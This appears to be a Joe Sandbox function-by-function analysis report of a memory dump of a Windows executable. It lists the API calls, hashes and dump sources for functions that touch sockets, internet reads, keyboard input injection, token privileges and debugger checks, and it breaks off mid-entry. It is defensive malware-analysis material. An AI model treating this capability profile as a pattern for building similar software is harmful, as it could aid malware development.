Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: d735f93a7f136cb9f5ccf4c9b4e886e08617fd52e912c8e82caf59f84362144f
Instruction ID: 4ca11864184f32fdc87c7695ca01d3f37928dcfa101a1ea79a50892fb97972ff
Opcode Fuzzy Hash: d735f93a7f136cb9f5ccf4c9b4e886e08617fd52e912c8e82caf59f84362144f
Instruction Fuzzy Hash: 68417E7194020A9FCF14DFA4D889AEEBBF4EF05354F245156E505B21A2EB309E44CF60

Function 00E5997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00E59A4E
GetSysColor.USER32(0000000F), ref: 00E59B23
SetBkColor.GDI32(?,00000000), ref: 00E59B36

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 213502412a30f1875ae5b618d1ba164bc9f80fc7f00d9c6b2d1653436be6ecb7
Instruction ID: e991aa8b500467bcff86a0bf8d9b0af14f6a31608b24ad48844238fbb28bfacc
Opcode Fuzzy Hash: 213502412a30f1875ae5b618d1ba164bc9f80fc7f00d9c6b2d1653436be6ecb7
Instruction Fuzzy Hash: 36A15CB0218144FEEB289A3C8C48DFB369DEB42346F15790AF942F66D3CA259D0DD275

Function 00EC1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC304E: inet_addr.WSOCK32(?), ref: 00EC307A
Part of subcall function 00EC304E: _wcslen.LIBCMT ref: 00EC309B

socket.WSOCK32(00000002,00000002,00000011), ref: 00EC185D
WSAGetLastError.WSOCK32 ref: 00EC1884
bind.WSOCK32(00000000,?,00000010), ref: 00EC18DB
WSAGetLastError.WSOCK32 ref: 00EC18E6
closesocket.WSOCK32(00000000), ref: 00EC1915

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: f4996a1eca3ff34f356ac2be4f6ac43b42c422a45d01fbbf01928fc6e9082fff
Instruction ID: b5783655b5d5dd336b8adc63228a01c7edf4873f55daa6c4781a9d80b1151601
Opcode Fuzzy Hash: f4996a1eca3ff34f356ac2be4f6ac43b42c422a45d01fbbf01928fc6e9082fff
Instruction Fuzzy Hash: 6251E071A00200AFDB10AF24D986F2AB7E5AB45718F18948CF9057F383C771AD42CBA1

Function 00ED1C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00ED1CC0
IsWindowEnabled.USER32 ref: 00ED1CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00ED1CDB
IsIconic.USER32 ref: 00ED1CE9
IsZoomed.USER32 ref: 00ED1CF7

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 5bbf36a26e1a673c74c73602bba11e461922d3b2f2f1bff0a1faa4ef8ee74a82
Instruction ID: e0fc917365b182e51e0d5c97e3f1d18c1ae5abecbd80f083b9012200fb4439b4
Opcode Fuzzy Hash: 5bbf36a26e1a673c74c73602bba11e461922d3b2f2f1bff0a1faa4ef8ee74a82
Instruction Fuzzy Hash: B92127317512016FD7248F2AD844B6ABBE5EF84319F29A09EE846EB351C771EC43CB90

Function 00E48060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

ERCP, xrefs: 00E4813C
VUUU, xrefs: 00E483E8
VUUU, xrefs: 00E483FA
VUUU, xrefs: 00E4843C
VUUU, xrefs: 00E85DF0

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 688611b9938f8d8cfb817c40f6345a22bc7d83e6869e7e19ae9150cbacae0f63
Instruction ID: f0e7da436bc44c66b1d1775b697bfc4a048daea386c54bd7bbe5877b18365af5
Opcode Fuzzy Hash: 688611b9938f8d8cfb817c40f6345a22bc7d83e6869e7e19ae9150cbacae0f63
Instruction Fuzzy Hash: C0A28C71A0021ACBDF24DF58D9407EEB7B1BB54318F2491AAE81DB7285EB749D81CF90

Function 00EAAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00EAAAAC
SetKeyboardState.USER32(00000080), ref: 00EAAAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00EAAB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00EAAB88

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5a9c2462101e06a0ae1594722ff01e83c2344e1124dba40515f6a2633883d44c
Instruction ID: 2d8f3c3ecfad7c31784d8087dade4d7c92fd67736f94431bb4c98fc56a59922c
Opcode Fuzzy Hash: 5a9c2462101e06a0ae1594722ff01e83c2344e1124dba40515f6a2633883d44c
Instruction Fuzzy Hash: 83312B30A40308AEEB308A65CC05BFA77E6AB4E314F18622AE0817A1D1D374A985C772

Function 00EBCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00EBCE89
GetLastError.KERNEL32(?,00000000), ref: 00EBCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00EBCEFE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: e0b84d36dc232042125b3e49e1b8e53341daeab533a43a62280452eb8958fea7
Instruction ID: 604334c2866849024459bec55f17169701b04b29556e9b6a7e0d2b70db844d2b
Opcode Fuzzy Hash: e0b84d36dc232042125b3e49e1b8e53341daeab533a43a62280452eb8958fea7
Instruction Fuzzy Hash: 7D21AC71608706DFDB209FA5E948BA777F8EB00358F20541AE646E2151E770EA08CBA0

Function 00EA8298 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00EA82AA

Strings

(, xrefs: 00EA82F0
|, xrefs: 00EA82DA

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 8369f215e1ec802fec1cdf9656bb4c9b69abc07e453ac86ad29df9e3b27a4680
Instruction ID: a4323a4e47fdb3d6ebcc9c043bafdae6fcd56d01f9ed86c09140408016711286
Opcode Fuzzy Hash: 8369f215e1ec802fec1cdf9656bb4c9b69abc07e453ac86ad29df9e3b27a4680
Instruction Fuzzy Hash: CA323574A007059FCB28CF59C581AAAB7F0FF48714B15D56EE49AEB3A1EB70E941CB40

Function 00EB5C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB5CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00EB5D17
FindClose.KERNEL32(?), ref: 00EB5D5F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 9fea8dfe7bb2add8d6d4e1355389758682d85afba364ce823acd57f56e1266aa
Instruction ID: e61b962e254d0f028e4fc59aed72b2fedef3e06ccd89daed40eac57bfd05bf69
Opcode Fuzzy Hash: 9fea8dfe7bb2add8d6d4e1355389758682d85afba364ce823acd57f56e1266aa
Instruction Fuzzy Hash: 9C51AA75604A019FC714CF28D494A96B7E4FF49318F24965EE99AAB3A1CB30FD04CF91

Function 00E72622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00E7271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E72724
UnhandledExceptionFilter.KERNEL32(?), ref: 00E72731

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 54fd4f21b4f81ae6a2d426225aa8dcc6de1ea72e5210a0badfffee44c5461969
Instruction ID: c5c1d3c0dd03271da6c693d085602d89b81c3d34c122a858ffbc33d01a3db0fe
Opcode Fuzzy Hash: 54fd4f21b4f81ae6a2d426225aa8dcc6de1ea72e5210a0badfffee44c5461969
Instruction Fuzzy Hash: 7C31D574D5122D9BCB21DF68DD8879DB7B8AF08350F5052EAE91CA7260E7309F858F44

Function 00EB51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00EB5238
SetErrorMode.KERNEL32(00000000), ref: 00EB52A1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 26b6c16d751b8bee3c797ba98abdf866d9a36a3524e3462942f80fbf32e2d7c1
Instruction ID: f4924257ee179838f7c612a5fe09ec43a6d601e6c709565d2b84f9870286c2b1
Opcode Fuzzy Hash: 26b6c16d751b8bee3c797ba98abdf866d9a36a3524e3462942f80fbf32e2d7c1
Instruction Fuzzy Hash: 9D316B35A00518DFDB00DF54D884EAEBBF4FF09318F188099E805AB362CB35E84ACB90

Function 00EA16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00E5FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00E60668
Part of subcall function 00E5FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00E60685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00EA173A
GetLastError.KERNEL32 ref: 00EA174A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 127a04a02964556e068a0e3a2fddfe0c9185908788d7d12f13ce31f7538e7066
Instruction ID: 8038ef606234dc1b52faec3812050c316e9181108154f33cfd3d4bca9287e245
Opcode Fuzzy Hash: 127a04a02964556e068a0e3a2fddfe0c9185908788d7d12f13ce31f7538e7066
Instruction Fuzzy Hash: A31101B2400305AFD7189F54EC86E6AB7F8EB09754B20856EF446A7241EB70BC45CB20

Function 00EAD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00EAD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 00EAD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00EAD650

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 2a077ebed2c4fa12a5f73b5384bd9e3711aeb6d98e78a61ca2c26c6f3db14f91
Instruction ID: 0da9eaed6b0fcae0cc36905c788bf1643e9f474e1db81ce83e2d5757476e2500
Opcode Fuzzy Hash: 2a077ebed2c4fa12a5f73b5384bd9e3711aeb6d98e78a61ca2c26c6f3db14f91
Instruction Fuzzy Hash: 39118EB1E05228BFDB108F95EC44FAFBBBCEB49B50F108152F904F7290C2705A058BA1

Function 00EA1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00EA168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00EA16A1
FreeSid.ADVAPI32(?), ref: 00EA16B1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 5dbb4ad850b4aef1ba3818db497cb15726fe71f75ae37a5bfd20f1b8d85922af
Instruction ID: 2b7d307d7313f5549cb8882c87bef58c4204d0e4dddeee5cede7daeb92e2e947
Opcode Fuzzy Hash: 5dbb4ad850b4aef1ba3818db497cb15726fe71f75ae37a5bfd20f1b8d85922af
Instruction Fuzzy Hash: 92F0F471951309FFDF00DFE59C89AAEBBBCEB08644F5045A5E501E2181E774AA489A50

Function 00E7C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 00E7C36C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 561bdaf90c47cd2f9675434f6d0b6d60b7e066e40315193f09fd5e535feb8bda
Instruction ID: 288e1503de583aee8c9262c994d069ec2df7083c012322ee2ac499d1be08a592
Opcode Fuzzy Hash: 561bdaf90c47cd2f9675434f6d0b6d60b7e066e40315193f09fd5e535feb8bda
Instruction Fuzzy Hash: 2A413A725006197FCB209FB9DC48DAB77BCEB84358F2092ADF919E7180E6309D41CB50

Function 00E9D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00E9D28C

Strings

X64, xrefs: 00E9D2A8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: 127c0c3e2e492691856ebedaf245c628a6d0ca614bd562e6ee2c1ea1621d90e0
Instruction ID: 69e81a45222168db081b3cce7d3a7c486d2f104dfd537e7d85ea7d160790bab5
Opcode Fuzzy Hash: 127c0c3e2e492691856ebedaf245c628a6d0ca614bd562e6ee2c1ea1621d90e0
Instruction Fuzzy Hash: 48D0C9B480512DEECF90CB90EC88DD9B37CFB04345F100552F506B2080D73095488F10

Function 00E6CAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: f745cfb2b28293938f5a0d7ca4c6ebeac9b6fe71a102a0967cc08f798c8dd093
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 2F023B71E402199BDF14CFA9D8806ADFBF1EF88354F25916AD859FB380D731AA41CB90

Function 00EB68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00EB6918
FindClose.KERNEL32(00000000), ref: 00EB6961

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: be000ff2110ff5b5e99c25d3c4690137ea75d5167baecfd13597eb7bf1aeb489
Instruction ID: af807acd4400e3ac72f522a9ed71dcc7d5735fcdecb7c4dc90e5a09430fe4113
Opcode Fuzzy Hash: be000ff2110ff5b5e99c25d3c4690137ea75d5167baecfd13597eb7bf1aeb489
Instruction Fuzzy Hash: 9B11E2316046019FC710CF29D484A16BBE1FF84328F14C699F8699F7A2C734EC05CB90

Function 00EB37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00EC4891,?,?,00000035,?), ref: 00EB37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00EC4891,?,?,00000035,?), ref: 00EB37F4

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: bcb37172e9eaea9b52ff33dce189676370754b763500dbecb73dba15d283f60f
Instruction ID: 584da97fcfaef2656eecd55635d0db2d2e61d23699d3bfb2fcdd126aa33abf65
Opcode Fuzzy Hash: bcb37172e9eaea9b52ff33dce189676370754b763500dbecb73dba15d283f60f
Instruction Fuzzy Hash: 60F0EC707052356AD71017B66C4DFDB779DEFC4761F100166F509F2191D9605904C7B0

Function 00EAB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

